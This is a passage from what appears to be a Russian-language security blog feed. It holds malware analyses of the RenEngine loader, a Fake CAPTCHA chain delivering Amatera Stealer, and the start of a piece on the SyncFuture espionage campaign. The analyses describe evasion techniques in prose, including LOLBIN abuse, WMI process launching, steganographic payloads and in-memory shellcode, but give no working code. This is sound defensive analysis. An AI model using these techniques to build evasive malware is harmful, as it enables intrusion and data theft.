  &lt;p id=&quot;Rnl8&quot;&gt;Python-код реализует примитивный, но эффективный механизм сокрытия второй стадии — XOR-шифрование. Зашифрованный файл (маскирующийся под текстовый) считывается в память и побайтно декодируется с использованием циклического ключа из конфигурации. Результатом становится ZIP-архив, который затем распаковывается во временный каталог.&lt;/p&gt;
  &lt;p id=&quot;f7QT&quot;&gt;Важно, что весь процесс — чтение, дешифрование и распаковка — контролируется Python-скриптом, то есть выполняется в контексте игрового процесса, что дополнительно маскирует активность.&lt;/p&gt;
  &lt;h3 id=&quot;eg9c&quot;&gt;Python как механизм анти-анализа&lt;/h3&gt;
  &lt;p id=&quot;Cmsy&quot;&gt;Наиболее необычная часть логики — встроенная система оценки среды выполнения. В отличие от простых проверок на наличие виртуальной машины, здесь используется балльная модель. Python-скрипт вызывает PowerShell-команды для получения характеристик системы:&lt;/p&gt;
  &lt;ul id=&quot;f5BQ&quot;&gt;
    &lt;li id=&quot;2Cr6&quot;&gt;объём оперативной памяти,&lt;/li&gt;
    &lt;li id=&quot;j9ls&quot;&gt;количество логических процессоров,&lt;/li&gt;
    &lt;li id=&quot;kdWF&quot;&gt;модель оборудования,&lt;/li&gt;
    &lt;li id=&quot;zbFC&quot;&gt;имя пользователя,&lt;/li&gt;
    &lt;li id=&quot;bQgM&quot;&gt;сетевые параметры.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;qWTZ&quot;&gt;Каждый параметр добавляет определённое количество баллов «доверия». Если итоговый процент превышает заданный порог, выполнение прекращается. В результате вредоносный код не запускается в типичных песочницах с малым объёмом RAM и стандартными VM-признаками. Для Python-загрузчиков подобная многофакторная модель встречается крайне редко.&lt;/p&gt;
  &lt;h3 id=&quot;3Yk9&quot;&gt;Запуск финального этапа&lt;/h3&gt;
  &lt;p id=&quot;vY3W&quot;&gt;После успешного прохождения проверок Python-модуль запускает извлечённый исполняемый файл через &lt;code&gt;subprocess&lt;/code&gt;. На этом этапе управление передаётся HijackLoader, который уже занимается инжекцией, закреплением и загрузкой основного вредоносного ПО.&lt;/p&gt;
  &lt;p id=&quot;3UBT&quot;&gt;Таким образом, Python-часть выполняет роль оркестратора:&lt;/p&gt;
  &lt;ul id=&quot;ILMh&quot;&gt;
    &lt;li id=&quot;C1V8&quot;&gt;читает конфигурацию кампании,&lt;/li&gt;
    &lt;li id=&quot;eAOc&quot;&gt;дешифрует и распаковывает полезную нагрузку,&lt;/li&gt;
    &lt;li id=&quot;gtHp&quot;&gt;проводит анти-sandbox анализ,&lt;/li&gt;
    &lt;li id=&quot;a6ND&quot;&gt;запускает следующую стадию,&lt;/li&gt;
    &lt;li id=&quot;FsZd&quot;&gt;в некоторых версиях отправляет телеметрию операторам.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;KOvR&quot;&gt;Почему выбран именно Python внутри Ren’Py&lt;/h3&gt;
  &lt;p id=&quot;iPet&quot;&gt;Такой подход даёт злоумышленникам сразу несколько преимуществ:&lt;/p&gt;
  &lt;ol id=&quot;TiHt&quot;&gt;
    &lt;li id=&quot;bfVI&quot;&gt;&lt;strong&gt;Маскировка под игру&lt;/strong&gt; — поведение выглядит как штатная работа игрового движка.&lt;/li&gt;
    &lt;li id=&quot;6hax&quot;&gt;&lt;strong&gt;Отсутствие классического loader-EXE&lt;/strong&gt; — меньше детектируемых артефактов.&lt;/li&gt;
    &lt;li id=&quot;JhJS&quot;&gt;&lt;strong&gt;Гибкая конфигурация&lt;/strong&gt; — смена кампаний без перекомпиляции.&lt;/li&gt;
    &lt;li id=&quot;wgtk&quot;&gt;&lt;strong&gt;Сложность анализа&lt;/strong&gt; — &lt;code&gt;.rpyc&lt;/code&gt; требует отдельного извлечения и декомпиляции.&lt;/li&gt;
    &lt;li id=&quot;9dgg&quot;&gt;&lt;strong&gt;Исполнение из памяти&lt;/strong&gt; — снижает эффективность поведенческих детекторов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Z6Em&quot;&gt;В итоге Python-этап RenEngine нельзя рассматривать как вспомогательный скрипт. Это полноценный управляющий модуль, который превращает игровой движок в универсальную платформу доставки вредоносных нагрузок и делает цепочку заражения значительно менее заметной для систем защиты.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;EoOz&quot;&gt;13. Главный вывод&lt;/h2&gt;
  &lt;p id=&quot;iwKJ&quot;&gt;Это &lt;strong&gt;не commodity malware&lt;/strong&gt;, а:&lt;/p&gt;
  &lt;ul id=&quot;pRPs&quot;&gt;
    &lt;li id=&quot;q4Eg&quot;&gt;долговременная операция&lt;/li&gt;
    &lt;li id=&quot;icxi&quot;&gt;модульная архитектура&lt;/li&gt;
    &lt;li id=&quot;gW2k&quot;&gt;abuse игрового фреймворка&lt;/li&gt;
    &lt;li id=&quot;iPGD&quot;&gt;профессиональный evasion design&lt;/li&gt;
    &lt;li id=&quot;eZW6&quot;&gt;масштаб уровня botnet-кампаний&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Q6fe&quot;&gt;RenEngine Loader демонстрирует &lt;strong&gt;новую тенденцию&lt;/strong&gt; — эксплуатацию &lt;strong&gt;игровых движков как malware delivery frameworks&lt;/strong&gt;.&lt;/p&gt;

</content></entry><entry><id>sccrrap:5UgBsPekgB4</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/5UgBsPekgB4?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>Подробный технический разбор цепочки доставки Amatera Stealer</title><published>2026-01-29T10:43:04.310Z</published><updated>2026-01-29T10:43:04.310Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/4b/eb/4bebc8e1-c449-461e-8873-86d9f65d33e4.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/14/19/1419570e-c77f-4acb-8ae1-9f1f607deabb.png&quot;&gt;Эта Fake CAPTCHA не взламывает систему — она ждёт, пока вы сделаете всё правильно</summary><content type="html">
  &lt;p id=&quot;9uYH&quot;&gt;Эта Fake CAPTCHA не взламывает систему — она ждёт, пока вы сделаете всё правильно&lt;/p&gt;
  &lt;hr /&gt;
  &lt;figure id=&quot;MygN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/14/19/1419570e-c77f-4acb-8ae1-9f1f607deabb.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;bOHa&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;ygNs&quot;&gt;Современные вредоносные кампании всё реже полагаются на эксплуатацию уязвимостей. В условиях зрелых EDR, поведенческого анализа и автоматических песочниц ставка смещается с «быстрого взлома» на &lt;strong&gt;гарантированное, корректное и малозаметное выполнение&lt;/strong&gt;. В центре внимания оказывается не payload, а путь, по которому он доставляется.&lt;/p&gt;
  &lt;p id=&quot;rK88&quot;&gt;Рассматриваемая кампания с Fake CAPTCHA и доставкой Amatera Stealer демонстрирует именно такой подход. Здесь отсутствуют эксплойты, нет попыток агрессивного проникновения, нет спешки. Вместо этого реализована многоступенчатая цепочка, в которой каждая стадия подтверждает корректность предыдущей и блокирует выполнение при малейшем отклонении от ожидаемого сценария.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;bCU3&quot;&gt;Общая архитектура атаки&lt;/h2&gt;
  &lt;p id=&quot;FolO&quot;&gt;Финальным пейлоадом кампании является Amatera Stealer — известное семейство инфостилеров. Однако ключевая ценность данного кейса заключается не в самом вредоносном ПО, а в архитектуре доставки.&lt;/p&gt;
  &lt;p id=&quot;jMMf&quot;&gt;Цепочка атаки построена вокруг следующих принципов:&lt;/p&gt;
  &lt;ul id=&quot;vzaZ&quot;&gt;
    &lt;li id=&quot;Pbfz&quot;&gt;строго пользовательское выполнение&lt;/li&gt;
    &lt;li id=&quot;cdLq&quot;&gt;использование подписанных компонентов Windows в роли LOLBIN&lt;/li&gt;
    &lt;li id=&quot;Sowj&quot;&gt;многоуровневые execution gate&lt;/li&gt;
    &lt;li id=&quot;iN5l&quot;&gt;активная фильтрация среды выполнения&lt;/li&gt;
    &lt;li id=&quot;2GqD&quot;&gt;динамическая реконструкция кода&lt;/li&gt;
    &lt;li id=&quot;GiaB&quot;&gt;отказ от стандартных PowerShell-механизмов&lt;/li&gt;
    &lt;li id=&quot;iTXx&quot;&gt;использование доверенной сторонней инфраструктуры&lt;/li&gt;
    &lt;li id=&quot;IKdN&quot;&gt;полное выполнение в памяти&lt;/li&gt;
    &lt;li id=&quot;FrZw&quot;&gt;переход из PowerShell в нативный shellcode&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;HRJt&quot;&gt;Каждый элемент этой цепочки снижает вероятность детекта и повышает надёжность заражения.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;YCzt&quot;&gt;Этап 1. Fake CAPTCHA как точка входа&lt;/h2&gt;
  &lt;p id=&quot;5Bdu&quot;&gt;Атака начинается с социальной инженерии. Пользователю отображается Fake CAPTCHA, в рамках которой предлагается вручную скопировать и выполнить команду через окно &lt;strong&gt;Run&lt;/strong&gt;. Это подаётся как обязательная проверка на «человечность».&lt;/p&gt;
  &lt;p id=&quot;etA0&quot;&gt;Такой подход сразу решает несколько задач:&lt;/p&gt;
  &lt;ul id=&quot;Pwop&quot;&gt;
    &lt;li id=&quot;cgi8&quot;&gt;обход всех exploit-ориентированных защит&lt;/li&gt;
    &lt;li id=&quot;6ZSu&quot;&gt;гарантия ручного выполнения&lt;/li&gt;
    &lt;li id=&quot;3YBy&quot;&gt;формирование доверенного контекста запуска&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;0k0S&quot;&gt;Критически важно, что команда &lt;strong&gt;не запускает PowerShell напрямую&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;K8Hn&quot;&gt;Злоупотребление SyncAppvPublishingServer.vbs&lt;/h2&gt;
  &lt;p id=&quot;2R2N&quot;&gt;Вместо прямого вызова PowerShell используется подписанный Microsoft-скрипт &lt;strong&gt;SyncAppvPublishingServer.vbs&lt;/strong&gt;, относящийся к компонентам Application Virtualization (App-V).&lt;/p&gt;
  &lt;p id=&quot;MI10&quot;&gt;Запуск происходит через &lt;code&gt;wscript.exe&lt;/code&gt;, формируя следующую цепочку процессов:&lt;/p&gt;
  &lt;pre id=&quot;AWyr&quot;&gt;explorer.exe → wscript.exe → SyncAppvPublishingServer.vbs → powershell.exe
&lt;/pre&gt;
  &lt;p id=&quot;78yr&quot;&gt;Такая цепочка выглядит легитимно на системах, где App-V используется в корпоративных сценариях, и значительно менее заметна для сигнатурных и поведенческих правил.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;ykCB&quot;&gt;Фильтрация целевых систем&lt;/h2&gt;
  &lt;p id=&quot;FLlA&quot;&gt;App-V присутствует только в редакциях Windows Enterprise и Education, а также в серверных версиях. На Home и Pro выполнение не происходит.&lt;/p&gt;
  &lt;p id=&quot;dWlZ&quot;&gt;Это приводит к естественной селекции:&lt;/p&gt;
  &lt;ul id=&quot;VHVh&quot;&gt;
    &lt;li id=&quot;D8Zu&quot;&gt;атака не работает на большинстве домашних ПК&lt;/li&gt;
    &lt;li id=&quot;P7wy&quot;&gt;выполнение срывается в песочницах&lt;/li&gt;
    &lt;li id=&quot;bbON&quot;&gt;приоритет получают корпоративные системы&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;XR2M&quot;&gt;Таким образом, фильтрация целей начинается уже на первом этапе.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;fxSL&quot;&gt;Execution gate №1: маркер ручного запуска&lt;/h2&gt;
  &lt;p id=&quot;AUn2&quot;&gt;Во время первичного выполнения создаётся временная переменная окружения &lt;code&gt;ALLUSERSPROFILE_X&lt;/code&gt; со случайным значением.&lt;/p&gt;
  &lt;p id=&quot;2G8S&quot;&gt;На этом этапе она не используется функционально, однако позже служит &lt;strong&gt;доказательством ручного исполнения команды пользователем&lt;/strong&gt;. Это первый execution gate в цепочке.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;kfSH&quot;&gt;Динамическая реконструкция PowerShell&lt;/h2&gt;
  &lt;p id=&quot;2N6d&quot;&gt;Начальный PowerShell-код избегает прямого использования чувствительных cmdlet’ов. Вместо этого применяются:&lt;/p&gt;
  &lt;ul id=&quot;aCg2&quot;&gt;
    &lt;li id=&quot;4MnZ&quot;&gt;алиасы&lt;/li&gt;
    &lt;li id=&quot;lzZ2&quot;&gt;wildcard-разрешение&lt;/li&gt;
    &lt;li id=&quot;aohY&quot;&gt;динамическое сопоставление строк&lt;/li&gt;
    &lt;li id=&quot;XSzf&quot;&gt;восстановление имён функций во время выполнения&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Rjrq&quot;&gt;Например, &lt;code&gt;Invoke-Expression&lt;/code&gt; никогда не фигурирует в явном виде. Такой подход существенно снижает эффективность статического анализа и сигнатур.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;eiPG&quot;&gt;Шумовой этап: маскировка логики&lt;/h2&gt;
  &lt;p id=&quot;gory&quot;&gt;Следующий скрипт представляет собой тысячи переменных с псевдо-cmdlet-именами, каждая из которых хранит короткий base64-фрагмент.&lt;/p&gt;
  &lt;p id=&quot;YbC8&quot;&gt;Во время выполнения:&lt;/p&gt;
  &lt;ul id=&quot;AJc1&quot;&gt;
    &lt;li id=&quot;OP8s&quot;&gt;фрагменты собираются&lt;/li&gt;
    &lt;li id=&quot;wBzz&quot;&gt;конкатенируются&lt;/li&gt;
    &lt;li id=&quot;2mKd&quot;&gt;декодируются&lt;/li&gt;
    &lt;li id=&quot;aMqn&quot;&gt;исполняются через &lt;code&gt;ScriptBlock.Create&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;PezS&quot;&gt;Назначение этого этапа — &lt;strong&gt;утопить полезную нагрузку в шуме&lt;/strong&gt; и затруднить анализ.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;u1qK&quot;&gt;Отказ от стандартных PowerShell-сетевых функций&lt;/h2&gt;
  &lt;p id=&quot;LPTV&quot;&gt;Декодированный загрузчик реализует собственную HTTPS-логику:&lt;/p&gt;
  &lt;ul id=&quot;4KDi&quot;&gt;
    &lt;li id=&quot;atcS&quot;&gt;TCP-соединение&lt;/li&gt;
    &lt;li id=&quot;Cruz&quot;&gt;&lt;code&gt;SslStream&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;SnHl&quot;&gt;ручная сборка HTTP-запроса&lt;/li&gt;
    &lt;li id=&quot;gB1I&quot;&gt;парсинг ответа&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;v89X&quot;&gt;Это позволяет избежать телеметрии, завязанной на &lt;code&gt;Invoke-WebRequest&lt;/code&gt; и &lt;code&gt;Invoke-RestMethod&lt;/code&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;3KyU&quot;&gt;Execution gate №2: проверка буфера обмена&lt;/h2&gt;
  &lt;p id=&quot;doWl&quot;&gt;Перед продолжением загрузчик проверяет буфер обмена на наличие маркера, связанного с &lt;code&gt;ALLUSERSPROFILE_X&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;cwoh&quot;&gt;При отсутствии маркера:&lt;/p&gt;
  &lt;ul id=&quot;cueb&quot;&gt;
    &lt;li id=&quot;eVHy&quot;&gt;отображаются отвлекающие сообщения&lt;/li&gt;
    &lt;li id=&quot;kzvZ&quot;&gt;поток уходит в бесконечное ожидание через &lt;code&gt;ManualResetEvent().WaitOne()&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ia7h&quot;&gt;Скрипт не завершает работу и не генерирует ошибок, что крайне эффективно против песочниц.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;OhFK&quot;&gt;Использование Google Calendar как конфигурационного сервиса&lt;/h2&gt;
  &lt;p id=&quot;3Lkf&quot;&gt;После прохождения execution gate загрузчик получает конфигурацию из публичного Google Calendar (.ics).&lt;/p&gt;
  &lt;p id=&quot;2sDN&quot;&gt;Преимущества подхода:&lt;/p&gt;
  &lt;ul id=&quot;BGGA&quot;&gt;
    &lt;li id=&quot;XesH&quot;&gt;доверенная инфраструктура&lt;/li&gt;
    &lt;li id=&quot;wBQJ&quot;&gt;отсутствие жёстко зашитых URL&lt;/li&gt;
    &lt;li id=&quot;BiGV&quot;&gt;возможность оперативной смены параметров&lt;/li&gt;
    &lt;li id=&quot;DUlv&quot;&gt;повышение живучести кампании&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;7F1H&quot;&gt;Извлекается поле &lt;code&gt;DESCRIPTION&lt;/code&gt;, содержащее base64-конфигурацию.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;rBY9&quot;&gt;Персонализация под жертву&lt;/h2&gt;
  &lt;p id=&quot;ATRE&quot;&gt;Из параметров окружения формируется строка, вычисляется MD5-хэш, и первые 8 hex-символов используются как поддомен.&lt;/p&gt;
  &lt;p id=&quot;mZeS&quot;&gt;Это снижает повторяемость сетевых индикаторов и усложняет корреляцию.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;VbM8&quot;&gt;Ключевой этап: использование WMI для передачи управления&lt;/h2&gt;
  &lt;h3 id=&quot;M5BO&quot;&gt;Архитектурная роль WMI&lt;/h3&gt;
  &lt;p id=&quot;QEJY&quot;&gt;На этом этапе атакующий сознательно прерывает линейную PowerShell-цепочку и использует &lt;strong&gt;Windows Management Instrumentation (WMI)&lt;/strong&gt; для запуска следующей стадии.&lt;/p&gt;
  &lt;p id=&quot;A29Q&quot;&gt;WMI — это нативная инфраструктура Windows, предназначенная для администрирования, мониторинга и управления системами. В корпоративных средах WMI используется повсеместно, что делает её активность малозаметной и редко вызывающей подозрения.&lt;/p&gt;
  &lt;p id=&quot;mB9s&quot;&gt;В данной кампании WMI используется &lt;strong&gt;не для постоянства&lt;/strong&gt;, а как &lt;strong&gt;механизм скрытой передачи управления между стадиями&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;n4FR&quot;&gt;Почему именно WMI&lt;/h3&gt;
  &lt;p id=&quot;BNLP&quot;&gt;Использование WMI решает сразу несколько задач:&lt;/p&gt;
  &lt;ol id=&quot;59XR&quot;&gt;
    &lt;li id=&quot;3IT3&quot;&gt;&lt;strong&gt;Разрыв родительской цепочки процессов&lt;/strong&gt;&lt;br /&gt;Новый PowerShell-процесс создаётся не напрямую, а через инфраструктуру управления.&lt;/li&gt;
    &lt;li id=&quot;pMzh&quot;&gt;&lt;strong&gt;Обход поведенческих корреляций EDR&lt;/strong&gt;&lt;br /&gt;Цепочки вида PowerShell → PowerShell менее очевидны.&lt;/li&gt;
    &lt;li id=&quot;BUsA&quot;&gt;&lt;strong&gt;Минимизация командной строки&lt;/strong&gt;&lt;br /&gt;Код передаётся в закодированном виде.&lt;/li&gt;
    &lt;li id=&quot;pFVv&quot;&gt;&lt;strong&gt;Имитация легитимной административной активности&lt;/strong&gt;&lt;br /&gt;Особенно в доменных средах.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;LaZK&quot;&gt;Техническая реализация&lt;/h3&gt;
  &lt;p id=&quot;vV0Z&quot;&gt;Загрузчик:&lt;/p&gt;
  &lt;ul id=&quot;eFIc&quot;&gt;
    &lt;li id=&quot;deOB&quot;&gt;динамически формирует PowerShell-код&lt;/li&gt;
    &lt;li id=&quot;bdP0&quot;&gt;кодирует его в Unicode&lt;/li&gt;
    &lt;li id=&quot;znTp&quot;&gt;затем в base64&lt;/li&gt;
    &lt;li id=&quot;eVby&quot;&gt;передаёт в &lt;code&gt;Win32_Process.Create&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;RF0l&quot;&gt;В результате создаётся &lt;strong&gt;скрытый 32-битный процесс PowerShell&lt;/strong&gt;, полностью отделённый от предыдущего контекста.&lt;/p&gt;
  &lt;p id=&quot;no59&quot;&gt;Этот переход:&lt;/p&gt;
  &lt;ul id=&quot;jKs8&quot;&gt;
    &lt;li id=&quot;pW2C&quot;&gt;ломает цепочки событий&lt;/li&gt;
    &lt;li id=&quot;Fshp&quot;&gt;усложняет трейсинг&lt;/li&gt;
    &lt;li id=&quot;SCzf&quot;&gt;снижает эффективность ретроспективного анализа&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;oBB9&quot;&gt;Почему WMI — идеальный транспортный слой&lt;/h2&gt;
  &lt;p id=&quot;qyWN&quot;&gt;WMI:&lt;/p&gt;
  &lt;ul id=&quot;JiML&quot;&gt;
    &lt;li id=&quot;0cZN&quot;&gt;встроен в Windows&lt;/li&gt;
    &lt;li id=&quot;qRiF&quot;&gt;активно используется администраторами&lt;/li&gt;
    &lt;li id=&quot;XM6m&quot;&gt;редко блокируется&lt;/li&gt;
    &lt;li id=&quot;PpfD&quot;&gt;не требует записи файлов&lt;/li&gt;
    &lt;li id=&quot;LHyc&quot;&gt;работает одинаково локально и удалённо&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;6X5w&quot;&gt;Использование WMI превращает передачу управления в &lt;strong&gt;административно выглядящее событие&lt;/strong&gt;, а не в очевидный вредоносный переход.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;64AD&quot;&gt;PNG-стеганография как следующий этап&lt;/h2&gt;
  &lt;p id=&quot;s2TJ&quot;&gt;После WMI-перехода загрузчик:&lt;/p&gt;
  &lt;ul id=&quot;Yd53&quot;&gt;
    &lt;li id=&quot;OzbN&quot;&gt;использует WinINet через нативные API&lt;/li&gt;
    &lt;li id=&quot;TBnx&quot;&gt;загружает PNG с публичных CDN&lt;/li&gt;
    &lt;li id=&quot;rmLa&quot;&gt;извлекает данные через LSB-стеганографию&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;m2rq&quot;&gt;Первые 64 бита определяют длину пейлоада, далее происходит детерминированное восстановление байтов.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;py0f&quot;&gt;Расшифровка и выполнение в памяти&lt;/h2&gt;
  &lt;p id=&quot;mlO2&quot;&gt;Извлечённые данные:&lt;/p&gt;
  &lt;ul id=&quot;tzAk&quot;&gt;
    &lt;li id=&quot;iI8a&quot;&gt;расшифровываются XOR-ключом&lt;/li&gt;
    &lt;li id=&quot;vCaq&quot;&gt;распаковываются GZip&lt;/li&gt;
    &lt;li id=&quot;6Z3o&quot;&gt;интерпретируются как PowerShell-код&lt;/li&gt;
    &lt;li id=&quot;HxFc&quot;&gt;исполняются без записи на диск&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;ulKx&quot;&gt;Финальный переход в нативный код&lt;/h2&gt;
  &lt;p id=&quot;1mia&quot;&gt;Последний PowerShell-этап:&lt;/p&gt;
  &lt;ul id=&quot;9ftE&quot;&gt;
    &lt;li id=&quot;xVWX&quot;&gt;расшифровывает shellcode&lt;/li&gt;
    &lt;li id=&quot;3IzB&quot;&gt;выделяет память через &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;CVQp&quot;&gt;меняет права через &lt;code&gt;NtProtectVirtualMemory&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;8mS9&quot;&gt;передаёт управление shellcode&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ibiT&quot;&gt;Shellcode загружает и исполняет &lt;strong&gt;Amatera Stealer&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;XG7W&quot;&gt;Значение кампании&lt;/h2&gt;
  &lt;p id=&quot;gJ9t&quot;&gt;Этот кейс наглядно демонстрирует:&lt;/p&gt;
  &lt;ul id=&quot;JoSF&quot;&gt;
    &lt;li id=&quot;cWM1&quot;&gt;payload может быть известным&lt;/li&gt;
    &lt;li id=&quot;zjMy&quot;&gt;доставка — решающий фактор&lt;/li&gt;
    &lt;li id=&quot;ZIyE&quot;&gt;WMI становится ключевым элементом fileless-архитектур&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;fdBp&quot;&gt;Атака оптимизирована не под скорость, а под &lt;strong&gt;выживаемость&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;BeAk&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;Alxw&quot;&gt;Fake CAPTCHA, App-V, execution gate, Google Calendar, WMI, PNG-стеганография и shellcode образуют единую систему. Каждая стадия подтверждает предыдущую и отсекает нежелательные сценарии.&lt;/p&gt;
  &lt;p id=&quot;v12W&quot;&gt;В современных условиях защита должна отвечать не только на вопрос &lt;strong&gt;«что было запущено»&lt;/strong&gt;, но и на вопрос:&lt;/p&gt;
  &lt;p id=&quot;WQjh&quot;&gt;&lt;strong&gt;«каким образом и почему этому позволили выполниться»&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;qeb7&quot;&gt;Понимание роли WMI и подобных механизмов передачи управления становится критически важным для анализа реальных атак и построения эффективной защиты.&lt;/p&gt;

</content></entry><entry><id>sccrrap:2i3fXXq_En3</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/2i3fXXq_En3?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>SyncFuture Espionage Campaign  Многоступенчатая APT-операция с использованием легитимного ПО и глубокой маскировки</title><published>2026-01-27T07:49:31.041Z</published><updated>2026-01-27T07:49:31.041Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/4b/45/4b45406b-c829-491e-a767-c1bbb2538c03.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/09/36/0936fd08-7cd2-4932-8d6a-c235f6cd6bd0.png&quot;&gt;В конце 2025 года исследователи eSentire Threat Response Unit (TRU) зафиксировали сложную целевую кампанию кибершпионажа, направленную преимущественно против пользователей в Индии. Кампания выделяется не столько использованием новых эксплойтов или zero-day, сколько комбинацией проверенных техник APT-уровня, аккуратной инженерией цепочки заражения и, что наиболее важно, злоупотреблением коммерческого корпоративного ПО в качестве финального шпионского инструмента.</summary><content type="html">
  &lt;figure id=&quot;S4m0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/36/0936fd08-7cd2-4932-8d6a-c235f6cd6bd0.png&quot; width=&quot;1600&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;9E62&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;ecq7&quot;&gt;В конце 2025 года исследователи eSentire Threat Response Unit (TRU) зафиксировали сложную целевую кампанию кибершпионажа, направленную преимущественно против пользователей в Индии. Кампания выделяется не столько использованием новых эксплойтов или zero-day, сколько &lt;strong&gt;комбинацией проверенных техник APT-уровня&lt;/strong&gt;, аккуратной инженерией цепочки заражения и, что наиболее важно, &lt;strong&gt;злоупотреблением коммерческого корпоративного ПО&lt;/strong&gt; в качестве финального шпионского инструмента.&lt;/p&gt;
  &lt;p id=&quot;J8OL&quot;&gt;Данная операция, получившая название &lt;strong&gt;SyncFuture Espionage Campaign&lt;/strong&gt;, демонстрирует эволюцию угроз: от классических вредоносных программ к гибридным атакам, где граница между легитимным администрированием и вредоносной активностью намеренно размыта. В результате традиционные сигнатурные и поведенческие механизмы защиты оказываются недостаточными.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;pCDw&quot;&gt;Общая архитектура атаки&lt;/h2&gt;
  &lt;p id=&quot;Olsa&quot;&gt;Атака представляет собой &lt;strong&gt;многоступенчатую цепочку&lt;/strong&gt;, включающую:&lt;/p&gt;
  &lt;ol id=&quot;0c3e&quot;&gt;
    &lt;li id=&quot;Uxh6&quot;&gt;Целевой фишинг с социальной инженерией.&lt;/li&gt;
    &lt;li id=&quot;DY5b&quot;&gt;DLL side-loading через подписанный Microsoft-бинарник.&lt;/li&gt;
    &lt;li id=&quot;owIl&quot;&gt;Loader с многоуровневой anti-analysis логикой.&lt;/li&gt;
    &lt;li id=&quot;xP1e&quot;&gt;Fileless-загрузка shellcode с C2.&lt;/li&gt;
    &lt;li id=&quot;dnZY&quot;&gt;Распаковку и запуск второго этапа в памяти.&lt;/li&gt;
    &lt;li id=&quot;X621&quot;&gt;Маскировку процесса и обход UAC.&lt;/li&gt;
    &lt;li id=&quot;ZPDT&quot;&gt;Установку кастомного инструментария для персистентности.&lt;/li&gt;
    &lt;li id=&quot;m9Fg&quot;&gt;Развёртывание коммерческой платформы SyncFuture TSM как шпионского фреймворка.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;rdd4&quot;&gt;Каждый этап усиливает предыдущий, минимизируя артефакты и снижая вероятность обнаружения.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;46pc&quot;&gt;Начальный доступ: фишинг под видом государственных уведомлений&lt;/h2&gt;
  &lt;p id=&quot;XlDr&quot;&gt;Первоначальный вектор заражения — &lt;strong&gt;целевой фишинг&lt;/strong&gt;, маскирующийся под официальные уведомления Налогового департамента Индии. Письма распространялись через инфраструктуру SendGrid, что добавляет им легитимности и усложняет блокировку на уровне почтовых шлюзов.&lt;/p&gt;
